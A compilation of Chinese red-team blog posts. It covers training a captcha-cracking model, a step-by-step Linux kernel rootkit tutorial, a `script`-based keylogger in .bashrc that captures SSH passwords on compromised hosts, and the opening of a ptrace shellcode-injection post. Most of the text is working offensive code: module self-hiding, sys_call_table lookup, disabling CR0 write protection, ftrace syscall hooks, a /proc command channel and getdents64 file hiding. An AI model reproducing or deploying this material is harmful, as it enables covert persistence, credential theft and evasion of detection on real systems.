def random_str():
    random_num = str(random.randint(0, 9))
    random_low_alpha = chr(random.randint(97, 122))
    random_char = random.choice([random_num, random_low_alpha])
    return random_char
def draw_str(count, image, font_size):
    draw = ImageDraw.Draw(image)
    # 获取一个font字体对象参数是ttf的字体文件的目录,以及字体的大小
    font_file = os.path.join('andale-mono.ttf')
    font = ImageFont.truetype(font_file, size=font_size)
    temp = []
    for i in range(count):
        random_char = random_str()
        draw.text((10+i*30, -2), random_char, random_color(),font=font)
        temp.append(random_char)
    valid_str = "".join(temp)    # 验证码
    return valid_str, image
def noise(image, width=120, height=35, line_count=3, point_count=20):
    draw = ImageDraw.Draw(image)
    for i in range(line_count):
        x1 = random.randint(0, width)
        x2 = random.randint(0, width)
        y1 = random.randint(0, height)
        y2 = random.randint(0, height)
        draw.line((x1, y1, x2, y2), fill=random_color())

        # 画点
        for i in range(point_count):
            draw.point([random.randint(0, width), random.randint(0, height)], fill=random_color())
            x = random.randint(0, width)
            y = random.randint(0, height)
            draw.arc((x, y, x + 4, y + 4), 0, 90, fill=random_color())

    return image
def valid_code():
    image = generate_picture()
    valid_str, image = draw_str(4, image, 35)
    image = noise(image)
    m = hashlib.md5()
    with io.BytesIO() as memf:
        image.save(memf, 'PNG')
        data = memf.getvalue()
        m.update(data)
        md5 = m.hexdigest()

    f = open("demo/trains/{}_{}.png".format(valid_str,md5),"wb")
    image.save(f, 'png') 
    f.close()
    return valid_str,md5
if __name__ == '__main__':
    for i in range(1,60000):
        valid_code()

在项目目录下创建一个demo/trains目录,并运行该代码,就会在该目录生成59999张验证码。之后我们在app.py里的project区随便新建一个项目名
2.png
之后点击Trining Path里的Browse选项,把我们刚刚生成的目录添加进去

3.png

之后点击底下的Make Dataset把我们生成的打包成TFRecords文件,然后点Start Tringing就可以开始训练了
4.png

如果你的显卡好的话,大概几分钟,这6W张图片就能训练完成。效率还是很快的

之后我们点击Test,会让我们选择文件夹,我们就可以用这个来验证识别率辣。保险起见我们用上面的代码生成一个Test2文件夹来存放新的。

然后运行Test,测试下效果。

5.png

可以看出来效果还是挺不错的,对于开源项目使用这个方法,就可以快速训练出匹配的模型,成功率还是非常高的。重点是非常的方便快捷

部署以及武器化

作者自带了一个框架captcha_platform,我们可以直接使用该项目。

用作部署于服务器的话,没必要上GPU,CPU跑模型就行,所以可以跳过上面的安装CUDA和cuDNN的操作。

安装方法也很简单,直接运行python -m pip install -r requirements.txt就行。

注意,如果是本机部署(和上一个项目同一台机器)的推荐删除requirements.txt里的tf-nightly项,避免环境造成冲突。

之后把我们在captcha_trainer里生成的模型,一般目录是Project/模型名称/out,里的两个文件夹,复制到captcha_platom目录下,然后运行tornado_server.py就行。
6.png

然后根据文档。运行tornado_server.py后会起一个API。地址为http://127.0.0.1:19952/captcha/v1,请求方式为application/json,具体参数查看作者的FreeBuf文章即可

7.png
我们试着调用一下
9.png
总体就大功告成辣。

通用化识别

以上我们就针对单一,开源,容易采集的项目进行了识别,但是对于那些闭源的目标来说,单纯用我们python生成的验证码跑识别成功率基本就没法看了。想要提高成功率,基本就是得对不同字体(包括与斜度),不同背景(花纹,纯色,甚至图片背景),不同扭曲程度(PS魔术棒!),不同噪点的验证码进行一个数据的生成然后在进行投喂。同时,传入参数的时候也比不能忘记把图片的分辨率来调整成我们训练时候的分辨率。来尽可能模仿目标。

结尾 & 后续

解决了验证码这个拦路虎,还有一个问题就是banIP了,下次看看怎么解决这个吧,估计会出一个云函数实践相关的,咕咕咕了。

Tags: python, 机器学习, 验证码, 红队

Linux下进程隐藏 三 - 高版本Linux下简易Rootkit编写

前言

本文用途:只是为了记录自己的研究过程,参考的内容都会给出来源。

经过前面两章的研究,我们已经研究了在用户层下面的相关研究方案,然而用户层下面终究会有一些蛛丝马迹泄露出我们后面相关的蛛丝马迹,所以我们就得编写一个简易的内核层的东西来。

先确定目标,我们的rootkit必须有三个功能,一个是自身的隐藏,让用户无法检测到我们自己的存在,第二个是对系统关键内容的修改,比如隐藏文件,隐藏进程,隐藏CPU指行状态等,对其他程序进行隐藏,第三个就是想到再说

首先第一步,我们先从网络上最简单的hello,world开始

//hello.c
#include <linux/init.h>  
#include <linux/module.h>  
   
MODULE_LICENSE("GPL");  
static int hello_init(void)  
{  
  printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}  
   
module_init(hello_init);  
module_exit(hello_exit);  
//Makefile
obj-m :=hello.o  
KERNEL :=/lib/modules/$(shell uname -r)/build 
PWD :=$(shell pwd)  
modules :  
    $(MAKE) -C $(KERNEL) M=$(PWD) modules  
.PHONEY:clean  
clean :  
    rm -f *.o *.ko  

上面就是要给最简单的hello,world最简单的代码。

然而想要直接编译我们还得先安装一个源码包,否则没法编译

apt install build-essential
apt install linux-headers-`uname -r`

根据系统的不同自行替换包管理软件,反正大体都是linux-headers-xxx之类的软件。至于build-essential,不同系统有不同的叫法,比如arch是base-devel。centos是。。什么什么devel来着总之就是类似的东西。

安装了之后才会在/lib/modules/下有当前系统的源码包,我们以上的代码才能编译。

编译成功后会在系统下面生成一个ko文件,使用insmod可以进行加载,lsmod可以查看所有安装的模块,然后试rmmod可以对模块进行删除。

hello_ko.png

隐藏自身

由于这部分已经有作者写过了,说的很详细,我就一笔带过,详细可以参考【CODE.0x01】简易 Linux Rootkit 编写入门指北

这篇文章,基本原理就是与,模块所有信息都储存于一个结构体链表中,只需要把我们的模块从这个链表中删除,那么lsmod工具就无法发现我们的模块,当然也不是没有发现的办法,这个我们后面再说。

简单的使用方法就是如下

list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);

上述的方案就是删除/proc/modules。/sys/modules和kobj中的链表相关内容。这样执行之后我们的模块就无法通过lsmod这类工具查找出来了。

其中THIS_MODULE是一个C的宏,指向模块自身。
this_module.PNG

隐藏文件?no! 得先看看如何HOOK

使用strace我们可以看到ls的所有栈调用,我们可以从中选择我们希望hook的函数。

我们在ring3下使用LD_PRELOAD的方式就是hook readdir函数。然而在内核中,我们应该直接HOOK系统调用号。

现在唯一的问题就是如何HOOK

对于提升到内核当中的我们来说,首要的问题不是是否有权限,最大的问题是HOOK哪里。又回到了老生常谈的寻址问题。

在早期内核中,有一个非常简单的寻址方式就是利用kallsyms_lookup_name
直接通过kallsyms_lookup_namelookup_address找到sys_call_table的地址然后就可以直接使用该地址

   syscall_table = (void *)kallsyms_lookup_name("sys_call_table");
   
   /* get the page table entry (PTE) for the page containing sys_call_table */
   pte = lookup_address((long unsigned int)syscall_table, &level);

通过上面的方法就可以随心所欲的找到我们的目标地址并进行HOOK,然而

[Unexporting kallsyms_lookup_name()][4]

kallsyms_lookup_name模块最近被废止了。至少在比较新的系统上是无法使用它了。

然后就是网络上的其他方法,最典型的是暴力搜索法。

意外的发现一个参考资料 Linux Rootkit 系列,里面写的很详细,然而问题是这篇文章的东西有点老,很多东西都无法使用了。这里就大致记录下几个坑吧

虽然说kallsyms_loopup_name是无法使用,但是如果直接读取/proc/kallsyms,还是能获得到地址的

sudo cat /proc/kallsys |grep -w sys_call_table

接下来根据文章,直接暴力搜索内存, 这也是很多文章中通用的方法

unsigned long **get_sys_call_table(void)
{
  unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    for(; (unsigned long)entry < ULONG_MAX; entry += 1){
      if(entry[__NR_close] == (unsigned long *)sys_close)
          return entry;
    }
    return NULL;
}

使用这段代码,首先遇到的一个问题是,‘sys_close’ undeclared,后来根据了解在2.6之后sys_close被替换成了ksys_close,然而即使替换程了ksys_close也无法使用。

这是因为在现代内核(>4.15)中,系统将不再到处系统调用了。

接下来就是文章中另外一个用法:/boot/System.map

然而,从v5.10 之后,System.map将不再提供地址信息了。详细可以参考这里:Linux Kernel

cat /boot/System.map-5.14.0-kali4-amd64                                                                                                                                                                                             
ffffffffffffffff B The real System.map is in the linux-image-<version>-dbg package

接下来就是根据IDT表查找,然而我使用了sidt指令后无论如何都不给我返回正确的地址。。

在一番的搜寻后,我发现了如下方法

ftrace辅助查找法

这是一个非常新的技术,专门适用于 >5.7 的linux 版本系统,详细可以查看这个文章

Linux Rootkits: New Methods for Kernel 5.7+

根据文章,我们可以直接使用

#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};


static void test(){
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    unsigned long *syscall_table = kallsyms_lookup_name("sys_call_table");

    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
}

就可以获得到syscall_table的地址。
get_it.png

接下来我们直接试着修改表内容,遇到的第一个问题就是cr0保护问题,

我使用如下代码

      write_cr0(read_cr0() & (~0x10000)); // 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      write_cr0(read_cr0() | 0x10000); // 恢复写保护

遇到了如下问题:

[   11.148893] CR0 WP bit went missing!?

经过一番查找,发现是在高版本中,内核会判断write_cr0是否被修改导致引发panic,根据如下的解决方案

[how-to-write-to-protected-pages-in-the-linux-kernel][9]

自定义一个inline function修改cr0值就可以,最后目前我们的代码如下

#include <linux/init.h>  
#include <linux/module.h>  
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/syscalls.h>
MODULE_LICENSE("GPL");  
#include <linux/ftrace.h>
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
unsigned int oldadr;
unsigned long *syscall_table;
unsigned long __force_order;
inline void mywrite_cr0(unsigned long cr0) {
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
void enable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void disable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  mywrite_cr0(cr0);
}
void myfunc(void)
{
  printk(KERN_ALERT "hook test!\n");
  return;
}
static int hello_init(void)  
{  
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    syscall_table = kallsyms_lookup_name("sys_call_table");
    printk(KERN_ALERT "ROOTKIT syscall_table is at %p",syscall_table);
    if (syscall_table)
    {
      disable_write_protection();// 关闭内核写保护
      oldadr = (unsigned int)syscall_table[__NR_uname]; // 保存真实地址
      syscall_table[__NR_uname] = myfunc; // 修改地址
      enable_write_protection(); // 恢复写保护
      printk(KERN_ALERT "hook success\n");
    } else {
      printk(KERN_ALERT "hook failed\n");
    }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  
static void hello_exit(void)  
{  

  if (syscall_table) {
    disable_write_protection(); 
    syscall_table[__NR_uname] = oldadr; // 恢复原地址
    enable_write_protection();
    printk(KERN_ALERT "resume syscall table, module removed\n");
  }
  printk(KERN_ALERT "Goodbye, cruel world\n");  
}
module_init(hello_init);  
module_exit(hello_exit);  

然后Makefile文件不变,在我linux-5.14下编译通过

HOOK

上面的代码我们使用了syscall_table[__NR_uname] 进行函数的HOOK,这样不是不行,但是我们都引用了ftrace包了,自然应该使用更优雅的HOOK方案。

详细文档在这:Using ftrace to hook to functions - kernel.org

直接根据文档


struct ftrace_ops ops = {
      .func                    = my_callback_func,
      .flags                   = FTRACE_OPS_FL_SAVE_REGS
                | FTRACE_OPS_FL_RECURSION_SAFE
                | FTRACE_OPS_FL_IPMODIFY;
};


ret = ftrace_set_filter_ip(&ops, sys_call_table_function_address, 0, 0);

register_ftrace_function(&ops);

就这样,一个HOOK就做好了。该HOOK和我们以往的HOOK并不太一样,以往的HOOK都是直接暴力修改sys_call_table的地址。

然而ftrace是用其他的实现方式,文档中使用了callback进行HOOK函数的回调,原型如下

void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);

然后,每个参数的功能如下。

@ip
This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)

@parent_ip This is the instruction pointer of the function that called
the the function being traced (where the call of the function
occurred).

@op This is a pointer to ftrace_ops that was used to register the

  1. This can be used to pass data to the callback via the
  2. pointer.

@regs If the FTRACE_OPS_FL_SAVE_REGS or
FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED flags are set in the ftrace_ops
structure, then this will be pointing to the pt_regs structure like it
would be if an breakpoint was placed at the start of the function
where ftrace was tracing. Otherwise it either contains garbage, or
NULL.

我英语贼辣鸡就不乱翻译了,我们看向其中的重点regs,regs是一个pt_regs 结构,研究我们之前LINUX进程注入的时候就应该很熟悉了,这东西会保存函数调用时寄存器中所有的信息,意味着我们如果需要参数,就需要根据linux调用方式从pt_regs的寄存器中分别读出内容。然后进行操作。

重点

同时,因为我们以往都是直接暴力修改函数地址制作HOOK,所以可能会造成思维定势,ftrace的HOOK和这不一样,这个callback并不是执行到HOOK点就替换成我们的callback,而是类似一个filter的存在。具体操作还是要看filter对于寄存器的IP的修改,如果不进行任何修改,那么仅仅在指行这个filter之后原本的函数还是会继续运行。所以我们的代码如下.我们假设HOOK一个mkdir。


static asmlinkage long fake_mkdir(struct pt_regs *regs){
     // do something  我们的HOOK函数
     long ret = ori_sys_mkdir(regs); //保证原函数的运行
     return ret;
}
void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); //必须要用这个方法把ftrace_regs转成pt_regs
  p_regs->ip = (unsigned long)fake_mkdir;

}


static asmlinkage long (*ori_sys_mkdir)(struct pt_regs *regs); // 用于保存sys_mkdir的原始地址
static void hook(){
 int err = ftrace_set_filter_ip(&ops, sys_mkdir, 0, 0);
       if(err)
        {
            printk(KERN_ALERT "rootkit: ftrace_set_filter_ip() failed: %d\n", err);

        }
      err = register_ftrace_function(&ops);
      if(err)
      {
            printk(KERN_ALERT "rootkit: register_ftrace_function() failed: %d\n", err);
        }

      *((unsigned long*) &ori_sys_mkdir) = sys_mkdir;// 修改ori_sys_mkdir为原本的系统调用以备我们后续调用
}

以上就是一个简单的HOOK过程,可以看到callback其实并不是直接一个传统意义上的HOOK。也就是 修改->指行,而是更类似于一个工厂函数,下一步动作取决于工厂函数对寄存器的操作:我们修改了寄存器的IP让程序跳转到了我们的fake函数,进行了一些处理后,再把数据交给原本函数(当然不交也行)完成一个HOOK。

然而以上代码有一个非常严重的错误,这个错误甚至能导致你的系统奔溃,记住我们的HOOK不是直接替换地址。而是匹配地址就触发callback,也就是说,即使我们在fake函数中,正确调用了原本sys_mkdir后,还是会触发到我们的callback,然后再次被修改IP调转到我们的fake函数,然后fake函数再调用sys_mkdir然后再callback.....

这就造成了一个死循环。第一个想的解决办法,就是在fake函数调用sys_mkdir的时候取消掉filter的注册。。这样也不是不行,但是感觉开销太大了。于是乎我找到了一个好东西within_module

static inline bool within_module_core(unsigned long addr,
                      const struct module *mod)
{
    return (unsigned long)mod->core_layout.base <= addr &&
           addr < (unsigned long)mod->core_layout.base + mod->core_layout.size;
}

因为callback提供了上层调用者的IP,然后我们只需要用within_module和THIS_MODULE宏比对,判断调用sys_mkdir的是否是我们当前的模块就知道是否是fake函数调用来的,如果是那里调用来的则忽略HOOK请求

void my_callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct ftrace_regs *regs){
  struct pt_regs *p_regs;
  p_regs = ftrace_get_regs(regs); 
  if (!within_module(parent_ip, THIS_MODULE)){
    p_regs->ip = (unsigned long)fake_mkdir;
  }
}

重点2

我们把目光转到fake_mkdir,假设我们想HOOK,就必须要对参数进行修改,或者说是读取。

由于给了寄存器我们可以根据Linux系统调用约定来读取相关的内容。比如我们要读取第一个参数可以直接char __user *pathname = (char *)regs->di;

但是我们会发现,如果直接printk出来的内容并不可读,这是因为模块处于内核空间,而我们输出的是用户空间,所以我们得需要copy_to_usercopy_from_user这两个函数把数据读取到用户空间才能输出内容

代码如下

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = (char *)regs->di;
      char dir_name[NAME_MAX] = {0};
      long error = strncpy_from_user(dir_name, pathname, NAME_MAX);//把数据读取到用户空间
      if (error >0){
        printk(KERN_ALERT "HOOK MKDIR NAME:\t%s\n",dir_name);
      }
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 135613.png
同理,我们如果要修改参数,就得用copy_to_user把我们本地的内容替换过去。

static asmlinkage long fake_mkdir(struct pt_regs *regs){
    
      char __user *pathname = regs->di;
      char dir_name[NAME_MAX] = "a";
      long error = copy_to_user(pathname,dir_name, NAME_MAX);
     long ret = ori_sys_mkdir(regs);
     return ret;
}

效果如下
屏幕截图 2022-02-12 170116.png
到这里,我们的HOOK基本就完成了

交互

这一章节可以省略,但是也不是不能讲讲,毕竟有时候比如我们需要进行一些交互的操作,类似于提权啊,或者一些其他高级操作的时候,我们不可能一直修改内核代码再编译,这样太麻烦了。所以我们得像shell命令一样,找一个地方进行交互。

网络上现有的大部分rootkit方案都是对/proc的proc_fops进行hook,对用户传入的数据进行处理。

关键我们看这个

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char* name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations* proc_iops;

    const struct file_operations* proc_fops;
    struct proc_dir_entry* next, *parent, *subdir;
    void* data;
    read_proc_t* read_proc;
    write_proc_t* write_proc;
    atomic_t count;        /* use count */
    int pde_users;    /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion* pde_unload_completion;
    struct list_head pde_openers;    /* who did ->open, but not ->release */
};

使用create_proc_entry()函數創建在/proc文件系統中創建一個虛擬文件
函數返回值的 proc_dir_entry 結構體中包含了/proc
節點的讀函數指針(read_proc_t*read_proc)、寫函數指針(write_proc_t
*write_proc)以及父節點、子節點信息等。讀寫函數的原型為:

typedef    int (read_proc_t)(char* page, char** start, off_t off,
                             int count, int* eof, void* data);
typedef    int (write_proc_t)(struct file* file, const char __user* buffer,
                              unsigned long count, void* data);

這兩個函數指針需要我們在創建完了節點之後再給其賦值,而函數也需要自己來實現。其實這兩個函數也就是當用戶空間讀寫該文件時,內核所做的動作。

资料引用自:proc虛擬文件系統

我们注意proc_dir_entry中的parent成员,这个成员可以指向父目录的成员。我们使用create_proc_entry在/proc下创建了一个虚拟文件后,就可以使用parent找到/proc的proc_dir_entry结构体,然后我们劫持proc的fops,这样我们的程序就能实现往/proc写入数据传递到我们ko模块的效果了。

或者不整那么花里胡哨的,就用普通在proc下专门创建个文件接收也不是不行。

原本我也是打算直接照抄的,然而在高版本linux中,这个地方出现了一点变化。

首先是从5.5开始create_proc_entry()被修改为proc_create()

同时proc_dir_entry 结构体也变成了这样

struct proc_dir_entry *proc_create(const char *name, 
        umode_t mode, 
        struct proc_dir_entry *parent, 
        const struct proc_ops *proc_ops);

我们注意其中的proc_ops,由原先的file_operations类型转变程了proc_ops类型。详情可以查看:proc: convert everything to struct proc_ops
这样用法也转变成了这样

static const struct proc_ops proc_file_fops_output = {
    .proc_read = rootkit_read,
    .proc_write = rootkit_write,
};

其他基本就没啥问题了,

char *cmd_output = NULL;
int cmd_output_len = 0;
ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
    long error;

    if(cmd_output_len != 0)
        kfree(cmd_output);
    cmd_output = kzalloc(len, GFP_KERNEL);
    error = copy_from_user(cmd_output, buf, len);
    printk(KERN_ALERT "cmd_line: %s\n",cmd_output);
    if(error)
        return -1;
    cmd_output_len = len;
    return len;
}
ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset)
{
    int ret;
    char *kbuf = NULL;
    long error;
    static int finished = 0;
    kbuf = kzalloc(cmd_output_len, GFP_KERNEL);
    strncpy(kbuf, cmd_output, cmd_output_len);


    if ( finished )
    {

        finished = 0;
        ret = 0;
        goto out;
    }
    else
    {

        finished = 1;
        error = copy_to_user(buf, kbuf, cmd_output_len);
        if(error)
            return -1;
        ret = cmd_output_len;
        goto out;
    }
out:
    kfree(kbuf);
    return ret;
}

static struct proc_ops proc_file_fops_output = {

    .proc_read = output_read,
    .proc_write = output_write,
};
static int hello_init(void)  
{  
  proc_entry = proc_create("test", 0666, NULL, &proc_file_fops_output);
  if (proc_entry == NULL) {
    printk(KERN_INFO "fortune: Couldn't create proc entry\n");
  }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  

proc_ok.png

这些完成之后,就该进入我们rootkit主要模块的编写了

隐藏文件

能hook sys_call_table后,解决了怎么hook的问题,接下来就是Hook哪里。

我们直接使用strace ls,来查看一个文件的调用栈。

ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=48, ws_col=209, ws_xpixel=0, ws_ypixel=0}) = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_EMPTY_PATH) = 0
getdents64(3, 0x5597ad35d730 /* 3 entries */, 32768) = 88
getdents64(3, 0x5597ad35d730 /* 0 entries */, 32768) = 0
close(3)                                = 0
newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
write(1, "5.16.5-arch1-1\n", 155.16.5-arch1-1
)        = 15
close(1)                                = 0
close(2)                                = 0

我就给出个部分,我们看到其中两个最主要的函数。一个是getdents64,一个是write。对于这两个,我们可以从 Linux Syscall Reference 中看出来,主要是sys_write和sys_getdents64这两个,前者是(仅仅针对ls的情况)对处理完的数据输出到控制台时候的操作,后者才是真正的Linux内核对于磁盘中文件处理的函数。

Hook两者各有利弊,Write主要在于系统中使用的地方太多,这种过滤影响性能不说,输出的文字形势千奇百怪,我们不好直接匹配,以及这是属于一种掩耳盗铃的手法,实际上系统任然能够操作文件。

所以我们还是HOOK后面一个函数比较好。直接对这个文件定义就行一个函数的查

int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count);

这就是函数的定义,我们其他都不看,就看中间这个linux_dirent64 __user,它的定义如下

struct linux_dirent64 {
    u64         d_ino;
    s64         d_off;
    unsigned short      d_reclen;
    unsigned char       d_type;
    char        d_name[];
};

其中,这个结构体,我们应该非常熟悉,因为我们在R3下使用LD_PRELOAD劫持进行文件隐藏时,也遇到过类似的结构,详情可以查看这里

其中d_relen包含着当前结构体长度,然后d_name写着当前目录的名称,我们要做的就是比对d_name,判断是否是我们需要隐藏的,如果是需要隐藏,则把这部分的结构体给删除掉。

那么如何删除呢。linux_dirent64 在内存种的排列是连续的,而且sys_getdents64的第二个参数dirent正好指向第一个linux_dirent64 结构体,所以根据上面的信息,我们只要知道linux_dirent64链表的大小,就能根据linux_dirent64->d_reclen,就能准确从连续的内存中分割出每一块linux_dirent64。

而sys_getdents64的返回值刚好就是linux_dirent64整片链表的大小,那么要素齐全了,我们就可以开始操作了。

开始摆烂,我直接上别人的源码了。代码引用自:rootkit.c

#define PREFIX "boogaloo"

static asmlinkage int fake_getdents64(const struct pt_regs *regs){
   
/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
    long error;


    struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
    unsigned long offset = 0;

    /* We first have to actually call the real sys_getdents64 syscall and save it so that we can
     * examine it's contents to remove anything that is prefixed by PREFIX.
     * We also allocate dir_entry with the same amount of memory as  */
    int ret = ori_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);
    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;
    /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
     * dirent_ker is our copy of the returned dirent struct that we can play with */
    error = copy_from_user(dirent_ker, dirent, ret);
    if (error)
        goto done;
    /* We iterate over offset, incrementing by current_dir->d_reclen each loop */
    while (offset < ret)
    {
        /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
        current_dir = (void *)dirent_ker + offset;
        /* Compare current_dir->d_name to PREFIX */
        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
            if ( current_dir == dirent_ker )
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* This is the crucial step: we add the length of the current directory to that of the 
             * previous one. This means that when the directory structure is looped over to print/search
             * the contents, the current directory is subsumed into that of whatever preceeds it. */
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* If we end up here, then we didn't find PREFIX in current_dir->d_name 
             * We set previous_dir to the current_dir before moving on and incrementing
             * current_dir at the start of the loop */
            previous_dir = current_dir;
        }

        /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
         * directory listing */
        offset += current_dir->d_reclen;
    }
    /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
     * Note that dirent is already in the right place in memory to be referenced by the integer
     * ret. */
    error = copy_to_user(dirent, dirent_ker, ret);
    if (error)
        goto done;
done:
    /* Clean up and return whatever is left of the directory listing to the user */
    kfree(dirent_ker);
    return ret;
}

效果如下
hidden_file.png

自此,我们一个简易的隐藏文件就整好了

自启动

哪天不想咕咕咕了就来写

结尾

虽说只实现了一个文件隐藏功能,但是基本的rootkit所需具备的框架已经基本都完成了。

要对此进行扩展只需要使用strace找到HOOK点,然后添加HOOK,然后对数据进行处理。无外乎这些。

以前觉得啊rootkit好帅好流弊,这次才知道linux rootkit其实并不怎么轻松。

主要还是在于linux和windows的两种不同策略。linux在于可持续性可靠的文档。而windows讲究向下兼容。

Linux对于安全的态度是交给用户把控,而windows的话则强制要求签名。

所以导致Linux的rootkit对于系统版本的要求很严格,甚至一个更新内核关键数据修改就全部木大。

但是也不是没有办法,就是花时间和精力做出每个版本能勇的,然后遇到什么版本系统上什么版本系统的模块即可。

而windows的话则是直接一个强制驱动签名杀死了绝大部分rootkit。

没了,就这么多了。

Tags: 高版本, 内核, sys_call_table

低权 Linux 键盘记录方案

前言

日了几台机器,虽说部分机器有ROOT,可以直接用之前的 一般路过PAM后门 / SSH密码记录,来替换PAM,用于记录密码。

然而问题是,这货上了LDAP,还自己改了改他们的PAM,所以直接替换PAM的方案行不通了。

而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。

那么有没有什么办法能搞到他们呢?

最开始预想的是用go,自己写一个,直接起个pty直接io.copy用户输入和bash,然后我们监听目标输入就行。

之后在群里大佬的提拔下。知道了还有script这个好东西。

直接一句

exec script -B /tmp -aqf

没有-B参数把-B参数删了其实也没差

photo_2021-12-14_21-37-37.jpg
经过测试,SSH输入的密码也能记录。简直就是linux自带后门

然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc下的最后一行,发现并不能work。
了解了下才发现,这个语句会加载bashrc的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc运行script,script加载bashrc,bashrc加载script这样循环....

解决方案也很简单。直接在最后一行换成

if [ -f /tmp/script.lock ];then
        rm /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script -B /tmp/test -aqf
fi

这样就成啦

进阶

本来想着这个-B参数能不能用类似/dev/tcp这种文件符号直接发送到远端,这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。
或者加一个远端连不上就自动删除.bashrc的这行类似代码。。然而实际上并不行。。。于是乎就靠各位大佬们解决啦。

Tags: linux, 键盘记录, 后门

Linux下进程隐藏 二 -- 进程注入(So注入)

前言

因为我写文章是边研究边写,而不是完全研究完之后写一份报告总结(个人习惯原因)。。所以文章很大篇幅都在记录我的思路的思想过程,同时也可以看到很多思路的改变,经典昨晚想到的东西写下来然后第二天早上就被自己否定了。。当然你也可以说是水就是了hhhhh。。。。

三年过去了,想着18年发了一篇 。那时候俺拥有者许多局限性以及很多的局限性和对linux操作的不熟悉性,所以对对这些操作基本只停留在表面浅显的理解,并没有深入的进行一些研究,比如内存上的啊或者是其他的。

所以这次趁着实习晚自习带班的空闲时间,研究研究一下linux的注入技术。

Linux和Windows不一样的是,Linux拥有良好的代码,良好的文档以及良好的设计接口。不像windows,闭源,二十年的混乱接口以及可有可无的文档。Linux的好处就是遇事不决看代码。

先说目标,我们的目标是类似于windows下DLL注入一般,制作一个通用注入器,把我们的SO文件方便的注入到其他进程之中。

首先我们先从简单的开始,有请我们的有且仅有一位的嘉宾(WINDOWS你看看你)

ptrace

ptrace is a system call found in Unix and several Unix-like operating systems. By using ptrace (the name is an abbreviation of "process trace") one process can control another, enabling the controller to inspect and manipulate the internal state of its target.

文档定义:http://man7.org/linux/man-pages/man2/ptrace.2.html

根据文档定义,这玩意基本就类似于一个OD一样,能很方便的让我们附加 调试 修改一个其他程序。
于是乎,我们可以很方便的暴力挖空进程写一个shellcode进去。
于是乎,第一个版本的注入操作如下

  • ATTACH进程
  • 接管进程
  • 暴力往进程内存中写入我们的shellcode
  • 修改进程的rip指向我们的Rip
  • 运行shellcode

直接参考Linux下进程注入这里的代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
